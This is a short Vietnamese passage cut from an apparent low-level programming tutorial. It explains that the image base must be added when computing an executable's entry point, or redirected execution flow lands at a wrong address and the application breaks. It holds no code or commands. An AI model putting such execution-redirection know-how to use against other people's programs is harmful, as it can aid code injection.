    6 vào điểm nhập. Nếu chúng tôi không thêm cơ sở hình ảnh, chúng tôi sẽ chuyển hướng luồng thực thi đến một địa chỉ không chính xác và phá vỡ ứng dụng.